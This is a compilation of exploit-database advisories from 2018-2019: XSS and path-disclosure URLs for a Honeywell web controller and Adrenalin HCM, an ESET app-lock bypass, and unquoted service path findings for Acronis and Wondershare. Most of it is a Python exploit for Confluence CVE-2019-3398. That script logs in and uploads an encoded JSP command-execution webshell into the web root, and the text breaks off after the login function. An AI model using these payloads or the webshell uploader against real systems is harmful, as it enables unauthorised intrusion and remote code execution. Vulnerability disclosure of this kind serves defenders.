# Honeywell MCR Web Controller
# Full Path Disclosure & Cross Site Scripting

# Vendor Homepage: https://www.honeywell.com
# WebVersion:
XL1000C50 EXCEL WEB 52 I/O,
XL1000C500 EXCEL WEB 300 I/O,
XL1000C100 EXCEL WEB 104 I/O,
XL1000C1000 EXCEL WEB 600 I/O,
XL1000C50U EXCEL WEB 52 I/O UUKL,
XL1000C500U EXCEL WEB 300 I/O UUKL,
XL1000C100U EXCEL WEB 104 I/O UUKL,
XL1000C1000U EXCEL WEB 600 I/O UUKL.

# Tested on: EXCEL WEB - AIT AG XL1000C1000U
600 I/O UUKL - 05.03.2008

# Date: Nov 09, 2019
# Informer: Pablo Rebolini - <rebolini.pablo[x]gmail.com>

# Full Path Disclosure
http://<excel-web.host>/standard/login/help.php
http://<excel-web.host>/standard/login/help.php?Locale=1033&ID[]=0

# Cross Site Scripting
http://
<excel-web.host>/standard/default.php?Locale=%22%3C/script%3E%3Ch1%3EXSS%3C/%22

# Exploit Title: Bypassing Eset Mobile Security App Using Android's Split-Screen Feature

# Date: 11.11.2019

# Exploit Author: Ferhat Cil (linkedin:ferhatcil)

# Vendor Homepage: Eset

# Version: 5.2.18.0

# Tested on: Android 9.1.0.142, Android 8.1.0



Security App let's you lock your apps on your phone, but if you try to open apps while you split your screen there's a pop up for password entry that you can simply bypass with pressing the overview button. With that method, you can even uninstall the app itself.


Demonstration: https://youtu.be/1GzUUWD321w

# Exploit Title: Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: Rishu Ranjan (Cy83rl0gger)
# Vendor Homepage: https://www.myadrenalin.com/
# Software Link: https://www.myadrenalin.com/core-hcm/
# Version: 5.4.0 (REQUIRED)
# Tested on: NA
# CVE : CVE-2018-12234
# Type: webapps
# Platform: Multiple

# Description
# ====================
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 of HRMS Software. 
# The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.

# URL
# ====================

https://<Host:port>/Adrenalin/flexiportal/GeneralInfo.aspx?strAction=Update0%22[Javascript code]22HRMS%22%29%2f%2f1
https://<Host:port>/myadrenalin/flexiportal/GeneralInfo.aspx?strAction=Update11170%22%3balert(%22HRMS%22)%2f%2f155

Parameter
====================
strAction

Attack Type
====================
Remote

CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.

Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12234
https://www.knowcybersec.com/2018/09/first-cve-2018-12234-reflected-XSS.html

Discoverer
====================
Rishu Ranjan

# Exploit Title: Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: Rishu Ranjan (Cy83rl0gger)
# Vendor Homepage: https://www.myadrenalin.com/
# Software Link: https://www.myadrenalin.com/core-hcm/
# Version: 5.4.0 (REQUIRED)
# Tested on: NA
# CVE : CVE-2018-12650
# Type: webapps
# Platform: Multiple

# Description
# ====================
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 HRMS Software. 
# The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.

URL
====================
https://<Host:port>/myadrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined

https://<Host:port>/Adrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined

Parameter
====================
prntDDLCntrlName
prntFrmName

Attack Type
====================
Remote

CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.

Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12650
https://www.knowcybersec.com/2018/10/CVE-2018-12650-reflected-XSS.html

Discoverer
====================
Rishu Ranjan

# Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path
# Date: 2019-11-11
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.acronis.com
# Software: ftp://supportdownload:supportdownload@ftp.kingston.com/AcronisTrueImageOEM_5128.exe
# Version: 19.0.5128
# Tested on: Windows 10

# Description:
# Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an 
# authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
# the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
# of the application.

# Prerequisites
# Local, Non-privileged Local User with restart capabilities

# Details
C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Acronis Nonstop Backup Service    afcdpsrv  C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe  Auto

C:\>sc qc afcdpsrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: afcdpsrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Acronis Nonstop Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit Title: Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: chuyreds
# Vendor Homepage: https://www.wondershare.com/
# Software Link: https://www.wondershare.com/drfone/
# Version: 2.4.3.231
# Tested on: Windows 10 Home Single Language
# CVE : N/A

# Explot-Wondershare WsAppService.txt

#Service Info:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Wondershare Application Framework Service           WsAppService      C:\Program Files (x86)\Wondershare\WAF\2.4.3.231\WsAppService.exe         Auto


C:\Users\user>sc query WsAppService

NOMBRE_SERVICIO: WsAppService
        TIPO               : 10  WIN32_OWN_PROCESS
        ESTADO             : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        CÓD_SALIDA_WIN32   : 0  (0x0)
        CÓD_SALIDA_SERVICIO: 0  (0x0)
        PUNTO_COMPROB.     : 0x0
        INDICACIÓN_INICIO  : 0x0

# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : 2019-3398

#Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)
#To use this exploit you should specify the following variables:
#OS - Linux or Windows.
#PROTO - http or https.
#USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
#HOSTNAME - the domain name or IP address of the server and its port.
#ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
#Typical ROOTFOLDER locations are:
#Windows: Program Files/Atlassian/Confluence/confluence/pages/
#Linux: opt/atlassian/confluence/confluence/pages/
#Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
#PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
#For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
#If PAGEID is set to 0, the script will try to create a new Page ID in one of the available spaces. If it fails, it will try to create a new space and create a Page ID there.
#If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range and try to upload shellcode till it succeeds.
#The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the webshell, then imitates the 'Download all' action to place the webshell to the root directory of the web server.
#Tested on Atlassian v6.15.1. on Linux and Windows.
#Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
import requests
import urllib3
import base64
from bs4 import BeautifulSoup
import numpy as np
import re
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

OS = 'Windows' #change this parameter
PROTO = 'http' #change this parameter
USERNAME = 'test' #change this parameter
PASSWORD = 'test' #change this parameter
HOSTNAME = '192.168.198.144:8090' #change this parameter
ROOTFOLDER = 'Program Files/Atlassian/Confluence/confluence/pages/' #change this parameter (Windows)
#ROOTFOLDER = 'opt/atlassian/confluence/confluence/pages/' #change this parameter (Linux)
PAGEID = '0'#'1245201' #change this parameter
PAGEID_RANGE_START = np.int64(1) #change this parameter
PAGEID_RANGE_END = np.int64(999999999999) #change this parameter
ATLTOKEN = ''
LOGINURL = '%s://%s/dologin.action' % (PROTO, HOSTNAME)
UPLOADURL = '%s://%s/plugins/drag-and-drop/upload.action' % (PROTO, HOSTNAME)
DOWNLOADALLURL = '%s://%s/pages/downloadallattachments.action' % (PROTO, HOSTNAME)
CREATEPAGEURL = '%s://%s/pages/createpage.action?spaceKey=' % (PROTO, HOSTNAME)
VIEWSPACESURL= '%s://%s/rest/api/space' % (PROTO, HOSTNAME)
WEBSHELLURL = '%s://%s/pages/assist.jsp' % (PROTO, HOSTNAME)

SHELLCODE_WINDOWS = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \
48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \
VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \
I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \
dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \
BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \
MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMk \
VcdTAwNzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwMjJcdTAw \
NDNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAwM0FcdTAwMjBcdTAwMjJcdT \
AwMjBcdTAwMkJcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRc \
dTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNj \
VcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAw \
MjlcdTAwMjBcdTAwMkJcdTAwMjBcdTAwMjJcdTAwNUNcdTAwNkVcdTAwM0NcdTAwNDJcdTAwNTJcdT \
AwM0VcdTAwMjJcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMDlcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlc \
dTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNj \
FcdTAwNkVcdTAwNjRcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAw \
NTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwN0JcdT \
AwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMkVcdTAwNjVcdTAwNzhcdTAwNjVcdTAwMjJcdTAwMkNc \
dTAwMjBcdTAwMjJcdTAwMkZcdTAwNjNcdTAwMjJcdTAwMkNcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNz \
FcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAw \
NjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdT \
AwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwN0RcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTBcdTAwNzJcdTAwNkZcdTAwNj \
NcdTAwNjVcdTAwNzNcdTAwNzNcdTAwMjBcdTAwNzBcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNTJcdTAw \
NzVcdTAwNkVcdTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdT \
AwNTJcdTAwNzVcdTAwNkVcdTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMjhcdTAwMjlcdTAwMkVc \
dTAwNjVcdTAwNzhcdTAwNjVcdTAwNjNcdTAwMjhcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNj \
FcdTAwNkVcdTAwNjRcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAwNzRcdT \
AwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNkZcdTAwNzNcdTAwMjBc \
dTAwM0RcdTAwMjBcdTAwNzBcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNEZcdTAwNzVcdTAwNz \
RcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAw \
MjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwMjBcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJc \
dTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNjlcdTAwNkVcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNz \
BcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAw \
NTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdT \
AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDRcdTAwNjFc \
dTAwNzRcdTAwNjFcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNz \
JcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMjBcdTAwM0RcdTAw \
MjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNDlcdT \
AwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRc \
dTAwMjhcdTAwNjlcdTAwNkVcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAw \
NjdcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAwNkVc \
dTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNzdcdTAwNjhcdTAwNjlcdTAwNkNcdTAwNjVcdTAwMjBcdTAw \
MjhcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAw \
NzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdT \
AwNzNcdTAwNzJcdTAwMjlcdTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBc \
dTAwM0RcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNj \
RcdTAwNENcdTAwNjlcdTAwNkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAw \
MEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT \
4KPC9wcmU+CjwvQk9EWT48L0hUTUw+'

SHELLCODE_LINUX ='PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \
48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \
VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \
I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \
dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \
BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \
MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMk \
VcdTAwNzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwMjJcdTAw \
NDNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAwM0FcdTAwMjBcdTAwMjJcdT \
AwMjBcdTAwMkJcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRc \
dTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNj \
VcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAw \
MjlcdTAwMjBcdTAwMkJcdTAwMjBcdTAwMjJcdTAwNUNcdTAwNkVcdTAwM0NcdTAwNDJcdTAwNTJcdT \
AwM0VcdTAwMjJcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwNU \
JcdTAwNURcdTAwMjBcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAw \
MjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdT \
AwNjlcdTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwN0JcdTAwMjJcdTAwMkZcdTAwNjJc \
dTAwNjlcdTAwNkVcdTAwMkZcdTAwNzNcdTAwNjhcdTAwMjJcdTAwMkNcdTAwMjBcdTAwMjJcdTAwMk \
RcdTAwNjNcdTAwMjJcdTAwMkNcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAw \
NzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdT \
AwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRc \
dTAwMjJcdTAwMjlcdTAwN0RcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTBcdTAwNzJcdTAwNkZcdTAwNjNcdTAwNjVcdTAwNzNcdTAw \
NzNcdTAwMjBcdTAwNzBcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNTJcdTAwNzVcdTAwNkVcdTAwNzRcdT \
AwNjlcdTAwNkRcdTAwNjVcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTJcdTAwNzVcdTAwNkVc \
dTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMjhcdTAwMjlcdTAwMkVcdTAwNjVcdTAwNzhcdTAwNj \
VcdTAwNjNcdTAwMjhcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAw \
MjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJc \
dTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNkZcdTAwNzNcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNz \
BcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAw \
NzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdT \
AwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDlc \
dTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNk \
RcdTAwMjBcdTAwNjlcdTAwNkVcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNzBcdTAwMkVcdTAwNjdcdTAw \
NjVcdTAwNzRcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdT \
AwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwND \
lcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAw \
NkRcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdT \
AwNzdcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVc \
dTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwNjlcdTAwNk \
VcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMkVc \
dTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAwNkVcdTAwNjVcdTAwMjhcdTAwMj \
lcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwNzdcdTAwNjhcdTAwNjlcdTAwNkNcdTAwNjVcdTAwMjBcdTAwMjhcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNzVcdTAwNkNc \
dTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAwNzBcdTAwNzJcdTAwNjlcdT \
AwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjlc \
dTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNj \
RcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAw \
NkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAwMEFcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT4KPC9wcmU+CjwvQk9EWT48 \
L0hUTUw+'
session = requests.session()
#proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'https://127.0.0.1:8080'
#}

def do_authenticate():
  global ATLTOKEN
  auth_form_data = {
'os_username': USERNAME,
'os_password': PASSWORD,
'login': 'Log+in',
'os_destination': ''
  }

  r = session.post(LOGINURL, data=auth_form_data, allow_redirects=True, verify=False)#, proxies=proxies)

  if r.text.find('re-enter your login') != -1:
    print 'Authentication failed'
    return 0      
  elif r.text.find('Sorry, your username and/or password are incorrect') != -1:
    print 'Authentication failed'
    return 0
  elif r.text.find('Unauthorized') != -1:
    print 'Unauthorized'
    return 0
  else:
    print 'Authentication successful'

  soup = BeautifulSoup(r.text, 'html.parser')
  ATLTOKEN = soup.find('meta', {'id': 'atlassian-token'})['content']
